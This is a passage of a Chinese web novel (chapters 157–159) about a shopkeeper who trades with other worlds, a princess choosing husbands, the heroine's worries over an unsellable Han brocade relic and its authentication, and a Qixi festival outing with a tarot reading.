“没两天进9月了，几家大拍卖行预展办一个月，我估计要去外省几天看展，10月中下到11月有国际拍卖，那时候我也要去的，这几个月我经常出门，店里要拜托你多看顾点。” 孟甜甜闻言挺直脊背，信誓旦旦：“你放心，有我在，小卖部和古董铺不会出乱子。” 比起多出来的500万，孟甜甜更为自己彻底融入不倒闭小卖部感到畅快。 顿了顿，她朝小卖部方向挤挤眼，略显鬼祟地低声说：“我们刚刚在看画像，客人打断了。” 萧妧妧眼珠子一转，兴味十足：“是那种画像吗？我看我看。” “正经画像，烟烟带来的那个大包袱，全是画像。” 萧妧妧失望撇嘴：“没劲。” 孟甜甜笑得不怀好意：“怎么会没劲，上面可是她未来老公人选，她正烦着呢。” 萧妧妧缓缓扭身，看向柳如烟。 柳如烟毫无所觉，捧着菜单挤进二人中间，“我选好了，今天吃牛排，战斧牛排。” 萧妧妧嘿嘿笑，伸出魔爪抽走菜单，按住她肩膀，不容她拒绝的架势，推她朝小卖部走。 “吃饭不重要，走，看看你未来的驸马长什么样。” 【作者有话说】 读者“清晰的梦”,灌溉营养液 +2 读者“大大很帅”,灌溉营养液 +1 读者“沐酒”,灌溉营养液 +1 157 第157章 ◎珍贵文物◎ “三号选手芝兰玉树,选他。” “十七号选手体格健硕，相貌堂堂，选他。” “二十号选手家世出众，关键是年轻啊,选他吧。” 柳如烟左看看右看看,面前的两人手里提了八卷画轴,整整齐齐排在她面前,顿时头大。 “说得都有道理，但是……”顿了顿,她狐疑看向两人：“明明是我挑驸马，你们激动什么？” 孟甜甜微笑：“激动你终于放下渣男了。” 柳如烟瞬间垮下脸,翻了个白眼。 萧妧妧解释：“我们两个现代人，哪里见过你们古代版的相亲,嘿嘿，真有意思。” 柳如烟哼了一声,一把夺走她们手里的画像,扔在桌上。 “皇兄让我随便挑,我看哪个都差不多,太难了。”她抱怨。 孟甜甜又不确定了,试探问：“你是真放下他了还是不死心要挣扎一下？” 说来也奇怪，柳如烟这个年纪暗恋一个男的，怎么可能说放下就放下。 柳如烟撇撇嘴：“谁放不下他啊，喜欢一个人只需要一个瞬间,不喜欢一个人同样只需要一个瞬间。这有什么问题？” 孟甜甜无语评价：“……果然还是小孩子心性，你说的喜欢,我看啊,也不见得是真喜欢,大约是对一个优秀人类的欣赏，发现他不是真的优秀，欣赏自然就不存在了。” 萧妧妧颇为赞同地点头，比起喜欢，柳如烟完全是一个小孩子对喜爱玩具的占有欲以及掌控欲的表现，玩具越不可控，她越是要吸引他注意。 时间久了，喜欢不喜欢不重要，得到是最终目的，便成了一种执念。 萧妧妧一琢磨，还好拆穿得早，不然深陷其中那可太难办了。 萧妧妧莞尔：“一秒上头一秒下头，听起来很风向。” 柳如烟迷茫：“什么风不风的，你们说话我听不懂，哎呀，反正我不喜欢他了。 我真选不出来，你们看，这个是新科探花，年二十，前途无量，这个是上届武状元，勇猛异常，颇得皇兄青睐，再看这个，世家嫡长子，大约是要做族长的……” 萧妧妧了然，一言难尽地拍拍孟甜甜肩头，道：“明白了，太优秀了，选不过来。” 孟甜甜重新拿起自己挑出来的几张画像，果然，比起她们看重的外表，柳如烟这个土生土长的古代人更看重驸马本人学识成就，及家庭所在的阶级与地位。 孟甜甜再一看，长得都不丑，家世或者本身才能也不差，果然挑不出哪个更好。 萧妧妧同样选不出来，随口秃噜：“那就全都要。” 柳如烟忽然沉默，若有所思。 孟甜甜捣了捣萧妧妧，提醒她去看柳如烟。 萧妧妧瞄了她一眼，好像在认真思索可行性，惊道：“我随便说说，你别当真。” 柳如烟捏着下巴，神情认真：“不，我觉得你说的对，我的几个兄弟妻妾成群，尤其皇兄，后宫妃嫔三十六位，无名分的不知凡几。同样是皇室血脉，我和皇兄还是一母同胞，多娶几个驸马不是理所应当？” 柳如烟想到了什么，耸着肩头嘿嘿笑，转身在桌上扒拉一通，挑出几幅画像卷起。 “我去去就来，吃饭的时候叫我。” 抱起画像，柳如烟欢快跑走，留下两人面面相觑。 孟甜甜迟疑：“……她来真的？” 萧妧妧啧啧出声：“真羡慕啊。” 孟甜甜：…… 算了，管不了她。 孟甜甜又道：“最近雨越来越小了，估计今晚能停，晚一点我们去零元购？” 萧妧妧顿时来劲了，苍蝇搓手：“好啊好啊，时间你定。” 孟甜甜比了个手势：“我回去准备准备。” 一艘不会被丧尸抓破的小船，撬开钢化玻璃的工具，还得提前了解商场里的情况，都是事。 午饭过后，确定萧妧妧不需要出门，她放心回去踩点。 萧妧妧则继续守着店铺，忙些有的没的。 柳如烟大约是想到快要结婚了，口味突变，看起古装宅斗和婆媳剧，一会气得骂骂咧咧，一会又嫌弃主角手段仁慈。 萧妧妧好奇盯了一会剧情，已经进行到男主带着绿茶登堂入室情节，问：“你会怎么解决？” “在我们那里，与人通奸是要浸猪笼的，换成我，先休了他，再绑了那个无用的负心汉沉湖，还要昭告全城，让他们一家无法立足。 得罪本公主等于蔑视皇权，廉耻不全，品行不端，还蔑视皇权，至少三代无法应考出仕。” 柳如烟天真的说出令萧妧妧爽翻天灵盖的话。 萧妧妧愣了愣，缓缓鼓掌。 “如果你是那个女主，没有公主身份撑腰，你会怎么做？” 柳如烟想了想，认真说：“那就给他下药，让他没精力胡混，又不至于死了让我当寡妇受人欺负。等孩子大了，掌控住家业，送那对狗男女下去当恩爱鬼夫妻。” 萧妧妧默了默，再次鼓掌。 柳如烟也好奇地问：“换做你们现代人会怎么办？” 萧妧妧：“PPT曝光，诚邀天下网友吃瓜……？” 连谈恋爱都没想过，她上哪去考虑出轨劈腿什么的，想来想去，只记得这一个办法了。 这个办法对不会做PPT的人非常不友好。 柳如烟海豹鼓掌：“妙啊，全天下人都能知道他们的行径，一人一口唾沫都能淹死。” 萧妧妧抽了抽嘴角，打破她的畅想：“妙什么妙，淹不死，只会让他们学会游泳。” 两人聊得热火朝天，恨不得把自己知道的瓜全抖落出来，正兴起，一通电话打了进来。 “萧女士吧？你那个造谣的案子有结果了，任玉承认不正当竞争，故意拍视频抹黑，现在他要给你当面道歉，你看你有没有空过来一趟？” 萧妧妧纳闷：“当面道歉？我不需要，全平台挂道歉公告一年，之后该起诉起诉，该赔钱赔钱，没什么好说的。” 电话那头又传来声音：“是这样，任玉的意思是，愿意当面下跪道歉，也愿意挂公告，他想和你谈一下起诉，我们负责传个话，你看你愿不愿意来调解室和他一起聊聊这个事情？” 萧妧妧语气坚定：“谢谢您转告，我不想和他有任何接触。” “行，我知道了，鉴于案情比较受关注，我们会在社交媒体发警情通告，这里还有一份通知书需要你签字。” 萧妧妧连声应下，挂断电话后就去APP找玉哥的账号。 事情过去几天，账号做了限流处理，倒是没多少人再关注。 玉哥的视频下面，新增的评论全是冷嘲热讽他卖假玉以次充好，还有曾经的消费者在评论区破口大骂，要求退货退款。 大约刷了十分钟左右，账号主页更新了道歉公告，因为造谣禁言的平台处罚，没能单独发图文视频，倒是在其他平台的账号相继挂出道歉内容。 萧妧妧认真读了一遍，没什么有歧义的内容，相关话题标签全部关闭，二次传播的视频要么下架，要么被打上了“内容不实”的标签。 萧妧妧嚯了一声，不愧是大平台，处理速度可真快啊。 至此，博主任玉造谣事件明面上已经解决，起诉是另一回事。 萧妧妧喜滋滋看公告发出后不断涌现的唾骂，刷新几回，画面跳转，账号突然显示用户违规已封禁。 反应过来，萧妧妧大笑出声，该！ 心里这口恶气出了大半，萧妧妧浑身轻松。 看了看时间，正值一天之中最热的时候，没有客人上门，难得闲下来，她转而查起汉锦资料。 大肚子客人的反应她看在眼里，料想汉锦不一般，各大平台检索信息过后，萧妧妧神情一片空白，心如擂鼓般跳动，险些跳出嗓子眼。 何止不一般，处理不好，这简直是烫手山芋。 “汉锦在你们那里有多值钱？”她声音飘忽，扭头去问柳如烟。 柳如烟：“寸锦寸金吧，这一匹布放在皇兄私库里时，后宫嫔妃争破头，皇兄烦得不行，做主给我了。” “为何叫汉锦？你们那里有汉朝？” “对啊，汉朝传下来的织锦技艺，可不就是汉锦。” 萧妧妧费解，此汉朝和彼汉朝难道是同一个？可不对啊，她记得故事里的背景完全架空来着，不然文抄公怎么当？ “汉之后呢？” “汉之后当然是熙啊，我们认识这么久，你不记得我是熙国公主？” 萧妧妧背了一遍朝代表，她确信，没有熙这个朝代，确实是架空没错。 “那你听过《垓下歌》《长恨歌》《孔雀东南飞》吗？” 柳如烟终于抬头，看傻子一样的目光望过来：“当然了，我虽是公主，无需上朝科举，却也是要读书的。” 萧妧妧恍然，破案了，她明白是怎么回事了。 历史在汉之后出现分叉，她熟悉的朝代不复存在，而是一个没听过的熙取代。 为了文抄公放心大胆的抄，又能合理照搬诗句里事件地域等，还不用男主重头学习历史，弄了这么一出所谓的架空。 “所以……你的汉锦能再给我点吗？” 柳如烟带来的汉锦是货真价实的古董，珍贵文物的程度。 因织造技艺几经改良，织机技术断代，汉锦织造技术早已失传，三次元能见到的汉锦多为考古发掘的文物，并且现代技术难以复刻，顶多仿造出七八分相似。 换句话说，就是绝版的意思。 当下现存且可查证的汉锦文物，不过百来件，最出名的是那件禁止出境的国宝级别铭文汉锦护臂——五星出东方利中国锦。 博物馆里其他稍微完整一些的汉锦衣裳，至今仍色彩鲜艳，单件估价过亿，越是完整越昂贵。 据萧妧妧目前能查到的资料来看，整件汉锦直裰配腰带香包一整套，价值根本无法预估，或者说从来没有过。 当然，比起金钱，它的承载的历史价值文化价值最为可贵。 它的未来只有两条路，要么压箱底不见天日，要么送去博物馆。 如果这件汉锦直裰不是对鸟纹，而是铭文，萧妧妧甚至敢大言不惭的说，又是一件国宝，其意义堪比发现一件铭文的青铜器。 残片汉锦可以出现在交易市场，整套的汉锦就不一样了，禁止交易！ 就算卖，也只能卖给博物馆，对国内出现的珍贵文物，同等条件下，国有博物馆享有优先购买权，除非博物馆放弃，才轮到的别人。 萧妧妧心口火热，不敢想它曝光后会带来怎样的震动。 学术圈不必说，考古、收藏、文化，乃至社会舆论，都将为它疯狂。 萧妧妧三个字也会在收藏圈出名。 “一块锦而已，至于吗？” 萧妧妧紧抱住柳如烟不肯撒手，要多谄媚有多谄媚：“至于至于，我的天呐，你知不知道，这是汉锦！” 柳如烟拼命挣扎：“我当然知道它*是汉锦……哎呀，没有了，真没有了，我自己做了一身礼服，剩下的只能做出这么多，那只香包还是硬凑出来的。” 萧妧妧不死心：“没有别的汉锦了？下一批货什么时候有？” “最快要三五年吧。” 萧妧妧差点叫出声：“三五年才能织成的汉锦，你居然拿去做衣裳！” “不然呢，我要供着吗？”柳如烟反驳完，气哼哼道：“你别说了，我可后悔了，这一件直裰的用料足以做裙子，我自己都没舍得，巴巴裁了衣裳给他，结果倒好……” 萧妧妧听着她嘟嘟囔囔，没忍住，四肢一摊，绝望地仰躺回沙发上。 问题来了，她该拿这件汉锦直裰怎么办？ 【作者有话说】 感谢读者“大大很帅”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 158 第158章 ◎退而求其次◎ 太新了,新得像假的一样。 拿出去鉴定根本过不了碳14测年实验，明明是汉朝珍贵文物，一测一个上周出土。 哦，上面可没有汉朝的土,只有染料HPLC分析符合同款文物色谱库。 更显得可疑了。 时间沉淀不足,这可是大问题,鉴定一关是后话。 说到鉴定,普通鉴定机构做不了，必须联系国家文物局,交由纺织品文物保护实验室进一步检测。 难题一道又一道，萧妧妧抓了抓脑袋,头疼啊。 忽然，她想起什么,双眼锃亮：“你那里能织汉锦，织机肯定不缺,卖我一台怎么样？或者汉锦织造技艺什么的。” 随着话音落下,柳如烟瞪大眼睛,不可置信地望向她。 “你疯了？” 萧妧妧愣住：“啊？” 柳如烟放下平板,转过身,一字一顿地解释：“《大熙律》规定，盗皇家织术者磔刑①。” 萧妧妧弱声道：“我用金子买，不算偷，何况咱们两个时空,不影响。” 柳如烟没好气道：“便是能卖，你让我如何寻得？” 萧妧妧不解：“织锦匠人不该是皇室管理？我记得有个什么部门来着,应该不是难题吧？” 柳如烟摇摇头,为她科普：“哪有这么简单,你说的那个是织染局，纺织匠人确实归它管辖，可你不知道，为防技艺外泄，织锦许多工艺环节拆分为多个部分，家族世代服役，锁定户籍，女红核心技艺口口相传，私习绫锦者，徒三年②。” “汉锦所需蚕丝必需由特定州府供应，即便你有了技法，没有蚕种、染料，织出来的依然不能算汉锦。锦不逾境，便是我也难以找来蚕种。” 萧妧妧讶然：“原材料也要管控？” 柳如烟点头，继续道：“再者，织锦的织机由内府监造，图册加密存档，未经准许不得随意阅览。 我若坏了规矩，硬要寻匠人画图纸，倒也不是不行，只是为防技艺外泄，画图之人需在事后绞了舌头毁去双目，或者断去双臂。” 想到有人因此断手断舌戳瞎眼睛，萧妧妧浑身一凛，再不提买技术和工具的事。 她迟钝醒悟过来，自己所提要求有多冒昧。 举个不恰当的例子，相当于柳如烟拿金条换核武器制造图纸和数据、拿一百块换光刻机。 织锦技术封锁，设备、原材料全面垄断，垄断原因涉及多维博弈，不能只看技艺和利益两方面。 “人人都会织锦、都能织锦，又何来寸锦寸金一说？”柳如烟缓缓说道：“除非我大熙哪天战败，需要我带着织锦技艺与匠人和亲，又或是朝贡，否则，绝无可能外泄。” 萧妧妧听到这里，彻底死心，冷静思考过后，也觉得这技艺不是非要不可。 物以稀为贵嘛，屡见则不鲜、不贵、不奇。 独一无二是引人注目的基本特性，无法复制、不可替代，才更受追捧。 商品与文物不是一回事。 有了技艺和织机，能复刻汉锦是件好事，但它带来的负面影响同样不可忽视。 比如高仿泛滥混淆，稀缺性降低，古汉锦的神圣性自此消解，价值势必大打折扣。 正面影响她只能想到一个，学术界可以验证、补充文献。 万一消息走漏，提供技术的萧妧妧会得到学术圈感谢，也相应会得到收藏圈的咒骂。 在商业应用、文物保护、学术研究这三个方面，始终有一条模糊的红线，一旦越线，影响不可估量。 难怪有出土汉锦禁止商业性复刻的约束，仅文物局批准成立的单位，如丝绸博物馆、织造博物馆等有复制、修复资质。 即便复刻，博物馆也不是说复刻就能复刻的，它受到上级单位监管，对纺织品文物复制有一定阈值。 越是珍贵文物，允许复制度越低，防止文物权益受到复制品的冲击。 萧妧妧也是才知道，还原度高的文物复制不合法，特殊纹样如十二章纹甚至禁止1:1复刻，其他出土文物纹样即便允许复刻，也必须做出细节改动③。 比如汉锦，属于博物馆藏珍品，复制度低于50%。 手里这件汉锦直裰暂时不清楚算哪一等级，她估摸一下，至少得是一级文物或者特级。 萧妧妧终于明白，为什么那个大肚子顾客一看见汉锦香包几乎走不动道。 违规复制特级一级文物需要承担法律后果，他就没见过复原度100%的仿汉锦。 左思右想，权衡利弊，萧妧妧这会发现，哪怕她克服困难弄到织机和织锦工艺，并不见得全是好事，还可能涉入技术伦理的争端，引起非议。 好险，这要是举报上去，萧妧妧当场改名张三，以另一种形式在收藏圈出道。 愁，不把汉锦弄出历史感，名正言顺的拿出来，等于攥了只手铐。 “汉锦织锦技术我不要了，你手上有没有汉朝的其他老物件？” 汉朝的古董绝对算得上高古，升值空间大。 特级一级的级别就算了，鉴定混不过去，容易招来麻烦。 不过汉瓷在学术圈受重视，在市场上表现不佳，远不如她手里的几件官窑。 萧妧妧琢磨一番，没有汉锦，只好退而求其次，选择其他高古器物。 她补充强调：“不要瓷器陶器，不值钱，要金器，比如那种鎏金的铜像，多多益善。” 柳如烟撇撇嘴：“你倒是会挑，该不会是故意说那么多，在这里等着我吧？” 萧妧妧嘿嘿笑：“你要什么？我拿东西跟你换。” 柳如烟睁着无辜的杏仁眼，“可是，我什么都不缺啊。” 萧妧妧：…… 这破孩子！ 柳如烟见她神情呆滞，笑容消失，捂着肚子哈哈哈。 笑痛快了，她道：“送你便是，我还真有个汉朝的鎏金佛像，前些天让我摔了，底座瘪下去一点点，宫人报损送走了，你容我回去找找。” 萧妧妧趁柳如烟不注意，在她有婴儿肥的圆润脸蛋上捏了一把，柳如烟哼哼着要治她罪时，飞快溜走。 店铺里那些不知名的锦缎香包也得收起来，谁知道好巧不巧是哪个她认不出来的名锦。 至于汉锦直裰，萧妧妧不敢慢待，连着包袱一起塞空间存放。 “小萧，小萧啊？你在店里吗？” 正忙着，许年华连声呼唤从院子外传来。 萧妧妧抬头，许年华拖着行李箱刚到门口，热得满头满脑的汗。 “许叔？你不是要出差吗？” 许年华摆摆手，放开行李箱，一屁股坐在凳子上，“下午的高铁，这不是突然看到你发的消息了，正好出门前过来看看，对了东西呢？” 说起正经事，许年华神色严肃急切许多。 萧妧妧见状，递去一瓶矿泉水，领着他往小卖部走。 “许叔你不会是特意来看屏风的吧？” 许年华咕嘟咕嘟喝下半瓶水，一抹唇，道：“那可不，我的天，这品质太难得了，就怕一耽误，你去别家送拍。 对了，我瞧着挺眼生的，是第一次送拍吧？” 萧妧妧点头，不自信地问：“对，第一次送拍，会不会影响征集部那边的审核？” 民藏，生货，许多拍卖行根本不接受，也就造成不少好货无法在市场流通，急着变现可能会送到古玩行或者其他渠道。 这也是为什么许多藏家不仅在拍卖行捡漏，还时不时去古玩市场淘东西，因为真的有东西可淘。 但真有民藏生货上拍，大家又不太愿意下手，一方面是分不清真假不敢，一方面是收藏家之间有抱团现象，宁愿买卖彼此眼熟的老货，说不清道不明的因素很多。 “问题不大，一般的东西可能会有点影响，你这个货够顶，可能落槌价会比正常行情略低。说不准的事，拍卖嘛，随时有情况。” 说话间，两人恰好来到小卖部里，四米长的屏风藏在货架中间，一堵墙似的分出两块区域。 许年华嚯了一声：“视频看不出来，站在面前才发现这么大。” “我记着前些年卖出去过一个，没你这个大，独扇的，总共就一米宽，那个全木雕，比不上你这个中间嵌了四块春带彩。” “价格不好说，贵是贵，买得起的人不多。” 萧妧妧忐忑：“那许叔你看，它能不能撑得起一场专拍？” 许年华含糊道：“只看它的品质肯定没话说，不说屏风，光是春带彩就够看了。 要我说，翡翠和紫檀拆开更好出手，就是看起来没这一整件惊艳。 但是吧，专拍毕竟有规格和要求，这不是还要看看其他的嘛。” 真掏出东西来，许年华一改先前口风，不敢把话说死。 萧妧妧暗道一声果然没那么容易，掏出手机给他看另外几个翡翠摆件。 “其他几件不是家具，我挑了翡翠，您看看呢？” 许年华说话时头也顾不上抬，眼睛死死黏在春带彩上，好一会才挪开视线。 “多大尺寸啊？” “高山流水34厘米高，玻璃种，颜色比较难得。 佛光普照22.5厘米，高冰黄加绿。 环环相扣挂坠记不清了，反正戴上大约到肚脐。” 许年华接过手机，拖动进度条来回看。 “乖乖，小萧你发大财啦，这种精品你一下子拿出四件？” 许年华窃喜，乐出表情包，萧妧妧笑笑没说话，要是让他看到龙石种，能激动得晕过去。 “你之前视频里发的几个翡翠镯子我就觉得不错，话又说回来，手镯好卖，你放在手里不着急，摆件确实，可以趁着现在市场行情还不错，早点出手是对的。” “如果你保证再来几个拍品有相同质量，我说实话，办是能办起来的，就是能不能卖出手是另一回事。” 许年华提前给她打预防针，收藏圈说起来挺闭塞，大家更喜欢在知根知底的收藏家手里买东西。 萧妧妧一个寂寂无名的民藏，费劲吧啦办起来一个专拍，到时候东西卖不出去，影响不好。 对拍卖行、收藏家都不好。 萧妧妧垮下肩膀，说到底还是名气问题。 “专拍在几月？” “那得十一二月了，平均一个月一场吧，直到春拍开始之前。 目前计划是五场，几个选题差异比较大，我得再关注关注。” 萧妧妧琢磨片刻，觉得有希望。 许年华怕她泄气，安慰道：“你的东西没得说，回头我看看征集部那边情况，你知道的，万一竞争激烈…… 现在环境是这样，不少人想着变现，我们佳博这一年的拍卖量比去年翻了一倍，上拍藏品越来越多，以前常规拍卖一场最多200件，现在不得了。” 萧妧妧没有泄气，只是遗憾自己给这些宝贝拖后腿了。 怪她没用。 萧妧妧很快振作起来，她手里不缺好东西，既然缺名气，那就想办法把名气打出去。 怎么打，她心里已经有了念头，就差时机。 【作者有话说】 ①磔刑：肢解。出自《贼律》（汉） ②私习绫锦者，徒三年。出自《杂律》（唐） ③未经批准复制馆藏文物违法，参考《文物复制拓印管理办法》等 资料均来自网络，如有错漏那就错漏吧 感谢读者“兮然”,灌溉营养液 +20 感谢读者“大大很帅”,灌溉营养液 +1 159 第159章 ◎幸福在等你◎ 许年华围着屏风看了好一阵,同事打来电话催促才匆匆离开。 临走前，他特意嘱咐她记得送去办鉴定证书，又预约了时间签委托协议，生怕她转头去别家似的。 这么大的紫檀木嵌春带彩的屏风少见,即便他从业多年也没见过类似的物件,稀罕得很。 “对了,昨天你和……黎总,那什么，能问吗？”他支支吾吾开口。 萧妧妧似笑非笑,“原来许叔听见了啊。” 许年华尴尬地咳嗽，错开视线。 萧妧妧：“昨天去了黎行墨的生日宴,结束后正好去吃烤串。” 许年华狐疑打量一会，总觉得事情没有她说得那么简单,见她不以为意，没再追问。 将人送到门口,萧妧妧塞去一颗定心丸：“您放心,什么话能说什么不能说我清楚呢。” 许年华讪笑：“那就好,那就好。” 许年华拖着箱子离开,萧妧妧回到躺椅上继续发愁她的汉锦。 下午没什么生意,老式缝纫机送来后花了点时间收拾，她又开始咸鱼躺。 柳如烟一连几日在小卖部玩耍，自己锁了寝殿大门不许人打扰，宫中侍奉的丫鬟太监担心坏了,她得回去露露面。 院子里仅剩她一人，萧妧妧百无聊赖地晃着摇椅,慢悠悠地翻看图录。 傍晚时分,孟甜甜赶回来吃晚饭,爱丽丝也顶着乱糟糟的鸡窝头回来，小院又变得热闹起来。 萧妧妧刚想问她们吃点什么，院门咚咚咚响。 孟甜甜习以为常，爱丽丝吓得躲回屋子里。 萧妧妧拉开门，眼前出现两张僵硬的笑脸。 “妧妧姐，月牙巷有七夕节活动，我们对这里不熟悉，你方便带我们四处转一转吗？”云昭昭腼腆地说。 萧妧妧迟疑，转一转没什么，但是小情侣七夕节约会，她掺和进去未免太没眼力见了。 “对，妧妧姐一起吧，我和昭昭都希望你来。” 萧妧妧张口要拒绝，没能出声，让黎行墨打断了，虽然听起来不情不愿，但确实发出邀请了。 狐疑目光在两人身上来回打转，“你们俩吵架了？” 两人齐齐摇头，异口同声：“没有。” 萧妧妧总觉得两人怪怪的，看起来吵得挺厉害。 “行吧，你们等我一会。” 多看他们一眼，萧妧妧扭头回去和孟甜甜知会一声，给她留夜宵。 孟甜甜比了个手势，“好，今晚行动照常吗？” 萧妧妧迟钝反应过来，她说的行动是末世奢侈品商场零元购的行动，重重点头：“当然，我带朋友在家附近转转，晚一点回来。” 听说院子外面就是5A景区，七夕活动办得有声有色，游客摩肩擦踵，孟甜甜不禁涌起一股羡慕情绪。 萧妧妧拍拍她肩头：“别羡慕，迟早有一天你们也能出去玩。” 安慰她几句，萧妧妧带上手机出门。 “你辞了兼职？” 七夕节到处人挤人，正是商家拼命赚钱的好时机，兼职狂魔云昭昭按理说没空出来玩。 云昭昭斜了黎行墨一眼，无奈道：“是学长，非说自己情人节不约会会被嘲笑……不过我确实辞了两份兼职，这几天想在家多看看书。” 说着话，三人前后脚来到巷子口。 黎行墨这时抬手做出打招呼姿势，萧妧妧顺着方向看过去，黎行聿等在前面花墙下。 冷不丁对上视线，萧妧妧微微点头算是问好，扭头看向云昭昭：“你们约会怎么还安排了两盏电灯泡啊？” 云昭昭视线发飘，不敢对视，含糊道：“不、不算约会，就是大家一起出来放松放松。” 萧妧妧挠头，语气古怪的确认：“你们真没吵架？” 云昭昭支支吾吾，偷瞥黎行墨希望他解围，这副表现在萧妧妧看来，证实了猜测。 “谁吵架了？”黎行聿问。 萧妧妧立刻改口：“没什么，我听错了。” 四人又往巷子深处走了一段，云昭昭和黎行墨像被恶鬼追似的，在前面乱蹿。 萧妧妧越发狐疑，偷摸打听：“他们不是闹别扭了吗？情人节约会都要把我们拉出来当电灯泡，这会又和好了？” 黎行聿顿了顿，道：“我没谈过恋爱，不太了解，不过他们年轻，性子冲动，吵吵闹闹挺正常。” 萧妧妧一想也是，再看两人黏黏糊糊的样子，玩得挺开心，嘀咕道：“我看他们根本用不着我介绍。” 黎行聿：“那就不打扰他们了，刚吵完，确实需要一段时间独处，我们去那边看看吧。说来惭愧，我在这里住了一个月，但是对月牙巷一无所知，也没有逛过，今天麻烦你了。” 萧妧妧摆摆手，拍胸膛道：“不麻烦，对我来说和家门口遛弯差不多。 这条主巷你肯定没少逛，走，带你去那种小巷子，里面有清吧咖啡厅什么。 对了，还有景区办的文化广场，好多民间手艺人摆摊，我看习惯了就还好，你第一次来南市一定要去看看。” 小情侣一下子跑没影，萧妧妧给他们发了消息，转身带黎行聿往另一边街区逛。 街道拥挤，天气闷热，萧妧妧带着他漫无目的闲逛，介绍哪家店味道好，哪家店卫生。 不过看黎行聿不像是会来街边小摊解馋的样子，说了两句，萧妧妧便停下。 “消费199免费抽月牙巷文创盲盒一个，凭小票在景区服务中心参与抽奖。” 路过一家手工艺品店，喇叭循环播放活动公告，萧妧妧留意到展示台上摆放的七只搪胶娃娃，不由停下脚步。 七夕活动整个景区的店铺都参与，萧妧妧在店里贴过宣传单，但没想到联名文创盲盒这么丑。 黎行聿见她走不动道，注意力跟着转移到盲盒上，目光顿住几秒，然后沉默了。 萧妧妧不以为然，捧起其中一个，兴冲冲给他看：“我的天，它们好可爱，你看，是不是特别丑？” 黎行聿感觉脑子不够用，完全不知道该说可爱还是丑。 萧妧妧见他露出一言难尽、欲言又止的神色，忍不住笑出声：“想说丑就直说，我也觉得丑，简直丑在我的审美点上，又丑又萌。” 黎行聿对盲盒玩具毫无兴趣，也看不出可爱在哪里，望了望她手心的丑娃娃，又阅读起展示台上的活动公告。 “凭消费小票可以免费抽取，进去看看？” 萧妧妧心动不已，看一眼价格后，心死了。 “199抽一次，还不能直接买盲盒，当人是冤大头啊……”吐槽一句，萧妧妧赶紧放下丑娃娃，拖着黎行聿远离，“该省省该花花，有这个钱我能收来一堆潮玩。” 虽然她赚了不少，现金存款过亿，但玩古董的都知道，多少钱都不经花，她那点存款根本买不了太多东西。 想到国内外至少有大小四五场拍卖等着她，萧妧妧还打算在国际拍卖上一鸣惊人，现在花钱有心理负担。 黎行聿见她目不转睛停下来看街头乐队表演，悄悄折返回去。 一曲唱完，萧妧妧回身没见到人，钻出人群寻找，可踮起脚找了一圈，依旧没看到人影。 萧妧妧懊恼自己把人弄丢了，刚要打电话问问他在哪，肩头被人轻拍两下。 “给你选了常温的。” 萧妧妧一转身，一瓶水递了过来，抬头望过去，黎行聿轻喘着，额头满是汗。 她看了看瓶身上的咖啡店标签，又看向身后不远处的店铺，不知道他怎么喘得那么厉害。 道谢后接下水，萧妧妧考虑这里人多，空气闷热，黎行聿看起来不太感兴趣的样子，带他穿过小路往隔壁街巷走。 两人才汇到这条巷子，瞬间和分散开的小情侣碰个正着。 黎行墨黑着脸，看起来要和摊主争辩的架势，云昭昭在一旁拉着他安抚。 萧妧妧好奇凑上去打量，这才看到是一个布置的十分有神秘气息的占卜摊子。 “你别瞎说，我们感情好着呢，什么情路坎坷，你会不会占卜？我们不会分手！”黎行墨像浑身竖起刺的刺猬，虽不至于动手，但语气也没客气到哪里去。 围观路人若有似无看过来，云昭昭头大不已，看到萧妧妧和黎行聿像见到救星一样。 “黎先生，妧妧姐，你们快劝劝他。” 占卜摊的摊主是个年轻女孩，大概是第一次见到因为占卜结果大发雷霆的客人，委屈又无措。 这会见客人有同伴出现，生怕事情闹大，好声好气的对萧妧妧辩解。 “不是我说的，是牌告诉我的，你们自己看啊，命运之轮逆位，星币八逆位，宝剑十正位，你们不信就拍个照找别人解读。” 黎行聿隔开了黎行墨，又有云昭昭劝说，炸毛的黎行墨背过身生闷气。 萧妧妧偷摸问：“这三张牌代表什么意思啊？” 摊主小心翼翼瞄了一眼黎行墨，悄声解读一遍。 萧妧妧听了好一会，起初不以为意，纯好奇吃瓜，后来渐渐认真。 她看了看年轻女摊主，嚯了一声，算得可真准。 他们的感情可不就是坎坷，坎坷在不停有第三人介入，误解和隔阂从未消去。 摊主这一番话是戳了黎行墨的心窝子。 萧妧妧看她的眼神瞬间变化，拉来被黎行墨提走的凳子，一屁股坐下。 “大师，你给我算算，我要算事业。” 话音落下，年轻女摊主先喜后忧，担心萧妧妧找麻烦，不知道要不要接生意。 黎行墨本就不满，闻言道：“妧妧姐你别找她算，对面有易经算命，那个靠谱。” 云昭昭赶忙附和：“对，我们去算别的。” 为免再起争执，她朝萧妧妧挤挤眼，一边说好话安抚一边推着黎行墨离开。 摊主见黎行墨走远，长舒一口气，见萧妧妧睁着水润润的狐狸眼期盼地等待，她迟疑道：“可是，我算感情最准，从来不出错，事业我算不准。” 萧妧妧想了想，算感情也行，只要足够准就好。 她大方付了钱，然后开始抽牌，黎行聿见状在旁边坐下等待。 三张纸牌依次摊开，完全展现在三人面前，摊主扫了一眼，面上表情先是惊讶，不一会流露出歆羡情绪。 “小姐姐，你这三张牌很好呢，是我今天算到最好的一组牌。 你看，太阳牌、皇后牌、世界牌，说明你们二位感情很好，有着美好的未来，彼此在这段感情里都能得到成长与满足，你们是彼此的灵魂伴侣……①” 摊主话音急促略带一丝激动，只是没等她说完，萧妧妧实在听不下去了，忙出声纠正：“但是，我现在是单身。” 摊主愣了愣，疑惑看向尴尬微笑的萧妧妧，又偏头看一眼旁边眉眼柔和，像偷喝了蜂蜜一般的男人。 她意外片刻，顿时了然，笑了笑，转而道：“如果是单身状态，说明小姐姐你即将遇到真爱，幸福在等你。” 好听话谁都爱听，萧妧妧闻言眼睛晶亮，雀跃不已。 不管是感情还是事业，只要是好事她都欢迎，尤其在萧妧妧认定她算得准的前提下，这一番话听得她眉开眼笑。 “快，你也抽三张卡。” 萧妧妧让开位置，催促黎行聿。 他犹豫两秒，示意摊主洗牌。 抽牌，摊开，三张牌摆在桌上，三人都露出了错愕神色。 “你们抽到了一模一样的牌呢。”摊主惊奇道。 萧妧妧抓紧时间拍了张照片，“好神奇，这种情况常见吗？” 摊主摇头否认。 萧妧妧哇了一声，瞪着亮晶晶的狐狸眼去看黎行聿：“我们俩的运气太好了吧” “服了，都什么玩意，算命也不准。” 